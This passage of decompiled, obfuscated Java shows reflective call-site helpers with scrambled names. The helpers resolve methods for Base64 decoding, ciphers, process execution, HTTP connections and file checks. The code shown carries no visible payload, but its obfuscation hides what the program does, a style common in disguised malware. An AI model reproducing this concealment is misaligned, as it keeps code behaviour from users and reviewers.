776 Main.첊[49] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.util.Base64"), "getDecoder", methodType).asType(methodType));
777 }
778 return Main.첊[49];
779 }
780
781 private static Object 沥(final Object o, final String s, final MethodType methodType) {
782 if (Main.첊 == null) {
783 Main.첊 = new Object[59];
784 }
785 if (Main.첊[33] == null) {
786 Main.첊[33] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.Integer"), "parseInt", methodType).asType(methodType));
787 }
788 return Main.첊[33];
789 }
790
791 private static Object 螌(final Object o, final String s, final MethodType methodType) {
792 if (Main.첊 == null) {
793 Main.첊 = new Object[59];
794 }
795 if (Main.첊[13] == null) {
796 Main.첊[13] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "init", methodType.dropParameterTypes(0, 1)).asType(methodType));
797 }
798 return Main.첊[13];
799 }
800
801 private static Object 딢(final Object o, final String s, final MethodType methodType) {
802 if (Main.첊 == null) {
803 Main.첊 = new Object[59];
804 }
805 if (Main.첊[42] == null) {
806 Main.첊[42] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedReader"), "readLine", methodType.dropParameterTypes(0, 1)).asType(methodType));
807 }
808 return Main.첊[42];
809 }
810
811 private static Object 輩(final Object o, final String s, final MethodType methodType) {
812 if (Main.첊 == null) {
813 Main.첊 = new Object[59];
814 }
815 if (Main.첊[30] == null) {
816 Main.첊[30] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
817 }
818 return Main.첊[30];
819 }
820
821 private static Object 倥(final Object o, final String s, final MethodType methodType) {
822 if (Main.첊 == null) {
823 Main.첊 = new Object[59];
824 }
825 if (Main.첊[51] == null) {
826 Main.첊[51] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "waitFor", methodType.dropParameterTypes(0, 1)).asType(methodType));
827 }
828 return Main.첊[51];
829 }
830
831 private static Object 攛(final Object o, final String s, final MethodType methodType) {
832 if (Main.첊 == null) {
833 Main.첊 = new Object[59];
834 }
835 if (Main.첊[41] == null) {
836 Main.첊[41] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.HttpURLConnection"), "setRequestMethod", methodType.dropParameterTypes(0, 1)).asType(methodType));
837 }
838 return Main.첊[41];
839 }
840
841 private static Object 㰢(final Object o, final String s, final MethodType methodType) {
842 if (Main.첊 == null) {
843 Main.첊 = new Object[59];
844 }
845 if (Main.첊[34] == null) {
846 Main.첊[34] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "contains", methodType.dropParameterTypes(0, 1)).asType(methodType));
847 }
848 return Main.첊[34];
849 }
850
851 private static Object Ꙕ(final Object o, final String s, final MethodType methodType) {
852 if (Main.첊 == null) {
853 Main.첊 = new Object[59];
854 }
855 if (Main.첊[22] == null) {
856 Main.첊[22] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.security.DigestInputStream"), "read", methodType.dropParameterTypes(0, 1)).asType(methodType));
857 }
858 return Main.첊[22];
859 }
860
861 private static Object 虡(final Object o, final String s, final MethodType methodType) {
862 if (Main.첊 == null) {
863 Main.첊 = new Object[59];
864 }
865 if (Main.첊[3] == null) {
866 Main.첊[3] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.security.DigestInputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
867 }
868 return Main.첊[3];
869 }
870
871 private static Object ŝ(final Object o, final String s, final MethodType methodType) {
872 if (Main.첊 == null) {
873 Main.첊 = new Object[59];
874 }
875 if (Main.첊[31] == null) {
876 Main.첊[31] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "getInputStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
877 }
878 return Main.첊[31];
879 }
880
881 private static Object 配(final Object o, final String s, final MethodType methodType) {
882 if (Main.첊 == null) {
883 Main.첊 = new Object[59];
884 }
885 if (Main.첊[21] == null) {
886 Main.첊[21] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setDoInput", methodType.dropParameterTypes(0, 1)).asType(methodType));
887 }
888 return Main.첊[21];
889 }
890
891 private static Object 襩(final Object o, final String s, final MethodType methodType) {
892 if (Main.첊 == null) {
893 Main.첊 = new Object[59];
894 }
895 if (Main.첊[50] == null) {
896 Main.첊[50] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.security.MessageDigest"), "getInstance", methodType).asType(methodType));
897 }
898 return Main.첊[50];
899 }
900
901 private static Object ﮥ(final Object o, final String s, final MethodType methodType) {
902 if (Main.첊 == null) {
903 Main.첊 = new Object[59];
904 }
905 if (Main.첊[52] == null) {
906 Main.첊[52] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "read", methodType.dropParameterTypes(0, 1)).asType(methodType));
907 }
908 return Main.첊[52];
909 }
910
911 private static Object Ⱪ(final Object o, final String s, final MethodType methodType) {
912 if (Main.첊 == null) {
913 Main.첊 = new Object[59];
914 }
915 if (Main.첊[18] == null) {
916 Main.첊[18] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "getInputStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
917 }
918 return Main.첊[18];
919 }
920
921 private static Object 휞(final Object o, final String s, final MethodType methodType) {
922 if (Main.첊 == null) {
923 Main.첊 = new Object[59];
924 }
925 if (Main.첊[20] == null) {
926 Main.첊[20] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "exists", methodType.dropParameterTypes(0, 1)).asType(methodType));
927 }
928 return Main.첊[20];
929 }
930
931 private static Object 厇(final Object o, final String s, final MethodType methodType) {
932 if (Main.첊 == null) {
933 Main.첊 = new Object[59];
934 }
935 if (Main.첊[40] == null) {
936 Main.첊[40] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setUseCaches", methodType.dropParameterTypes(0, 1)).asType(methodType));
937 }
938 return Main.첊[40];
939 }
940
941 private static Object ʞ(final Object o, final String s, final MethodType methodType) {
942 if (Main.첊 == null) {
943 Main.첊 = new Object[59];
944 }
945 if (Main.첊[24] == null) {
946 Main.첊[24] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setDoOutput", methodType.dropParameterTypes(0, 1)).asType(methodType));
947 }
948 return Main.첊[24];
949 }
950}